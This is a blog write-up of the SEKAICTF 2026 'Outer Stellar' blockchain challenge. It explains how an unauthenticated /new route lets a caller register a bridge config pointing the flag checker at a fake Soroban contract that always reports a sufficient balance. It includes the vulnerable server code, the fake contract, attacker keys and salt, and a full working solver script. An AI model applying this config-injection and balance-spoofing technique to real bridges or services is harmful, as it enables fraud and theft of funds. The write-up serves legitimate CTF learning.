962 words
5 minutes
SEKAICTF 2026 - Outer Stellar - Blockchain Writeup

Category: Blockchain

Flag: SEKAI{super-duper-stellar-master-3a9bb1}

Description: honest player is bridging their funds …

The attachment was a gzip-compressed tar archive with a Stellar contract, a Sui Move package, and the Python instancer that tied them together.

tar -tf 'blockchain_outer-stellar.tar.gz'
blockchain_outer-stellar/contracts/stellar-bridge/src/lib.rs
blockchain_outer-stellar/instancer/outerstellar_sandbox/server.py
blockchain_outer-stellar/instancer/outerstellar_sandbox/bridge.py
blockchain_outer-stellar/instancer/outerstellar_sandbox/honest_player.py
blockchain_outer-stellar/move/sui_bridge/sources/bridge.move
blockchain_outer-stellar/move/sui_bridge/sources/sekai.move

The flag endpoint was in server.py. It checked the player’s Stellar balance by reading bridge metadata from disk, then invoking balance on whatever stellar_contract_id was stored there.

@app.route("/flag", methods=["GET", "POST"])
@cross_origin()
def flag() -> tuple[dict[str, Any], int] | dict[str, Any]:
    info = current_integrated_instance()
    if info is None:
        return {"ok": False, "error": "not_running", "message": "No instance is running"}, 404

    solved, balance = has_solved(info["uuid"])
    if not solved:
        return {
            "ok": False,
            "error": "not_solved",
            "message": (
                f"not solved: Stellar SEKAI balance is {balance}, "
                f"need at least {FLAG_STELLAR_BALANCE_TARGET}"
            ),
            "stellar_sekai_balance": balance,
            "target": FLAG_STELLAR_BALANCE_TARGET,
        }, 403

    return {"ok": True, "flag": read_flag()}

def has_solved(uuid: str) -> tuple[bool, int]:
    info = read_instance(uuid)
    if info.get("chain") != "integrated":
        return False, 0

    try:
        bridge = read_deploy_info(uuid)
        stellar = info["stellar"]
        player = stellar["accounts"]["player"]
        balance = stellar_sekai_balance(stellar, bridge, player["public"])
    except Exception as exc:
        print(f"flag check failed for {uuid}: {exc}", file=sys.stderr, flush=True)
        return False, 0

    return balance >= FLAG_STELLAR_BALANCE_TARGET, balance

def stellar_sekai_balance(stellar: dict[str, Any], bridge: dict[str, Any], owner: str) -> int:
    output = run_checked([
        "stellar",
        "contract",
        "invoke",
        "--config-dir",
        stellar["config_dir"],
        "--network-passphrase",
        stellar["network_passphrase"],
        "--rpc-url",
        stellar["rpc_url"],
        "--source-account",
        "player",
        "--id",
        bridge["stellar_contract_id"],
        "--send",
        "no",
        "--",
        "balance",
        "--owner",
        owner,
    ], timeout=120)
    return int(output.strip().strip('"'))

The interesting part was how that bridge metadata was created. The public /new route accepted a JSON body and passed it into create_or_get_integrated_instance. If the body already contained a bridge dictionary, the server registered it directly instead of deploying its own bridge. The authenticated /bridge/<uuid> route had a secret check, but /new did not.

@app.route("/new", methods=["GET", "POST"])
@cross_origin()
def new_integrated() -> tuple[dict[str, Any], int] | dict[str, Any]:
    body = request.get_json(silent=True) if request.method == "POST" else {}
    return create_or_get_integrated_instance(body if isinstance(body, dict) else {})

def launch_integrated_instance(body: dict[str, Any]) -> dict[str, Any]:
    stellar_info = None
    sui_info = None
    try:
        stellar_info = launch_stellar_instance(TIMEOUT)
        sui_info = launch_sui_instance(TIMEOUT)
    except Exception as exc:
        if stellar_info is not None:
            kill_stellar_instance(stellar_info)
            cleanup_instance_resources(stellar_info)
        if sui_info is not None:
            kill_sui_instance(sui_info)
            cleanup_instance_resources(sui_info)
        return launch_failure("error_starting_instance", exc)
    instance_id = new_uuid()

    write_instance(stellar_info["uuid"], stellar_info)
    write_instance(sui_info["uuid"], sui_info)
    write_instance(instance_id, {
        "chain": "integrated",
        "uuid": instance_id,
        "children": [stellar_info["uuid"], sui_info["uuid"]],
        "stellar": stellar_info,
        "sui": sui_info,
    })
    register_node_supervisor(stellar_info)
    register_node_supervisor(sui_info)

    schedule_kill_later(instance_id)

    bridge = body.get("bridge")
    try:
        if isinstance(bridge, dict):
            register_bridge_config(instance_id, stellar_info, sui_info, bridge)
        elif body.get("auto_bridge", True):
            bridge = deploy_bridge_system(stellar_info, sui_info)
            wait_sui_bridge_ready(sui_info, bridge)
            checkpoint_sui_state(sui_info, "bridge deploy")
            register_bridge_config(instance_id, stellar_info, sui_info, bridge)
        if body.get("honest_player", True) and isinstance(bridge, dict):
            start_honest_player(instance_id, stellar_info, sui_info, bridge)
    except Exception as exc:
        really_kill(instance_id)
        return {"ok": False, "error": "error_starting_bridge", "message": str(exc)}

This meant the checker could be pointed at a contract that was not the real bridge. The only method it needed was balance(Address) -> i128, and it only needed to return at least 250. I built that tiny Soroban contract.

#![no_std]

use soroban_sdk::{contract, contractimpl, Address, Env};

#[contract]
pub struct FakeBalance;

#[contractimpl]
impl FakeBalance {
    pub fn balance(_env: Env, _owner: Address) -> i128 {
        250
    }
}

Soroban wasm contract IDs are deterministic from the network, deployer address, and salt. I used a fixed attacker keypair and salt so /new could be given the fake contract ID before that account existed on the challenge chain.

ATTACKER_PUBLIC=GAK7YHKNCJ6FKOIPOSVJDK4KQEAZHEWJ7UM6DLAPWCPBRJGNOAP7TVHP
ATTACKER_SECRET=SB3WIBVRWTJGARM6BCJH4FC7QDN225YMFE7EFIMAOHNENUPSMPUC4UOO
SALT=0000000000000000000000000000000000000000000000000000000000000000
FAKE_CONTRACT_ID=CBQDEVG3O2CRCFC45AALDF7BE6GVETYYC5XQERTDXK6QCKJBW67HULQ5

I confirmed the contract ID locally with the Stellar CLI.

stellar contract id wasm --rpc-url http://127.0.0.1:55093 --network-passphrase 'Standalone Network ; February 2017' --source-account GAK7YHKNCJ6FKOIPOSVJDK4KQEAZHEWJ7UM6DLAPWCPBRJGNOAP7TVHP --salt 0000000000000000000000000000000000000000000000000000000000000000
CBQDEVG3O2CRCFC45AALDF7BE6GVETYYC5XQERTDXK6QCKJBW67HULQ5

One dead end was trying to profit from the honest player’s bridge fees. Starting from the default honest balance of 100, alternating both directions for the 40 close limit only produced 93 total fees, below the 250 target.

a = 100
p_sui = 0
p_st = 0
ops = 0
while ops < 40 and a > 0:
    f = a // 8
    p_sui += f
    a -= f
    ops += 1
    if ops >= 40:
        break
    f = a // 8
    p_st += f
    a -= f
    ops += 1
print('p_sui', p_sui, 'p_st', p_st, 'total', p_sui + p_st, 'honest final', a, 'ops', ops)
p_sui 48 p_st 45 total 93 honest final 7 ops 40

The final solver registered the fake bridge config with /new, waited for the instance, funded the deterministic Stellar deployer from the published player secret, deployed the fake contract at the pre-registered ID, and read /flag.

from __future__ import annotations

import argparse
import json
import shutil
import subprocess
import time
from pathlib import Path

import requests

UA = "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36"
ATTACKER_PUBLIC = "GAK7YHKNCJ6FKOIPOSVJDK4KQEAZHEWJ7UM6DLAPWCPBRJGNOAP7TVHP"
ATTACKER_SECRET = "SB3WIBVRWTJGARM6BCJH4FC7QDN225YMFE7EFIMAOHNENUPSMPUC4UOO"
SALT = "0" * 64
FAKE_CONTRACT_ID = "CBQDEVG3O2CRCFC45AALDF7BE6GVETYYC5XQERTDXK6QCKJBW67HULQ5"
FAKE_SUI_PACKAGE = "0x" + "11" * 32
FAKE_SUI_BRIDGE = "0x" + "22" * 32

def run(cmd, cwd=None):
    proc = subprocess.run(cmd, cwd=cwd, text=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, check=True)
    return proc.stdout

def request_json(session, method, url, **kwargs):
    headers = kwargs.pop("headers", {})
    headers.setdefault("User-Agent", UA)
    response = session.request(method, url, headers=headers, timeout=30, **kwargs)
    return response.status_code, response.json()

def stellar_cmd(root):
    if shutil.which("stellar"):
        return ["stellar"]
    return ["docker", "compose", "exec", "-T", "outerstellar", "stellar"]

def spawn_instance(session, base):
    request_json(session, "POST", f"{base}/stop")
    body = {
        "honest_player": False,
        "bridge": {
            "stellar_contract_id": FAKE_CONTRACT_ID,
            "sui_package_id": FAKE_SUI_PACKAGE,
            "sui_bridge_object_id": FAKE_SUI_BRIDGE,
        },
    }
    request_json(session, "POST", f"{base}/new", json=body)
    while True:
        _, info = request_json(session, "GET", f"{base}/info")
        if info.get("running") and info.get("bridge", {}).get("stellar_contract_id") == FAKE_CONTRACT_ID:
            return info
        time.sleep(10)

def deploy_fake_contract(root, base, info):
    wasm = root / "target" / "wasm32v1-none" / "release" / "fake_balance.wasm"
    stellar = info["node_info"]["stellar"]
    stellar_rpc = f"{base}{stellar['endpoint']}"
    cmd = stellar_cmd(root)
    wasm_arg = str(wasm)
    if cmd[0] == "docker":
        run(["docker", "compose", "cp", str(wasm), "outerstellar:/tmp/fake_balance.wasm"], cwd=root)
        wasm_arg = "/tmp/fake_balance.wasm"
    run(cmd + [
        "tx", "new", "create-account",
        "--rpc-url", stellar_rpc,
        "--network-passphrase", stellar["network_passphrase"],
        "--source-account", stellar["player_secret"],
        "--destination", ATTACKER_PUBLIC,
        "--starting-balance", "100000000",
    ], cwd=root if cmd[0] == "docker" else None)
    run(cmd + [
        "contract", "deploy",
        "--rpc-url", stellar_rpc,
        "--network-passphrase", stellar["network_passphrase"],
        "--source-account", ATTACKER_SECRET,
        "--wasm", wasm_arg,
        "--salt", SALT,
    ], cwd=root if cmd[0] == "docker" else None)

def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("base_url")
    args = parser.parse_args()
    root = Path(__file__).resolve().parent
    base = args.base_url.rstrip("/")
    session = requests.Session()
    info = spawn_instance(session, base)
    deploy_fake_contract(root, base, info)
    _, flag = request_json(session, "GET", f"{base}/flag")
    print(flag["flag"])

main()
python solve_outer_stellar.py 'https://outer-stellar-fe4dcf788efb.instancer.sekai.team'
SEKAI{super-duper-stellar-master-3a9bb1}
SEKAICTF 2026 - Outer Stellar - Blockchain Writeup
https://blog.rei.my.id/posts/164/sekaictf-2026-outer-stellar-blockchain-writeup/
Author
Reidho Satria
Published at
2026-06-30
License
CC BY-NC-SA 4.0